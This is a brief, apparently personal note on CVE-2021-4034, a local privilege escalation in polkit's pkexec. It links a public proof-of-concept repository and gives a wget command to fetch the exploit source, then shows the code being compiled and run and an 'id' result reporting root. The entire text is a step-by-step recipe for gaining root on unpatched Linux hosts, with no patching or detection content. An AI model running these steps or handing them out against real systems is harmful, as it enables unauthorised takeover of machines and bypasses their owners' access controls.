Cve-2021-4034

Link

• https://github.com/arthepsy/CVE-2021-4034

Code

• wget https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c

xinux@elrond:~$ xinux@elrond:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc xinux@elrond:~$ ./cve-2021-4034-poc

1. id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),120(sambashare),1000(xinux)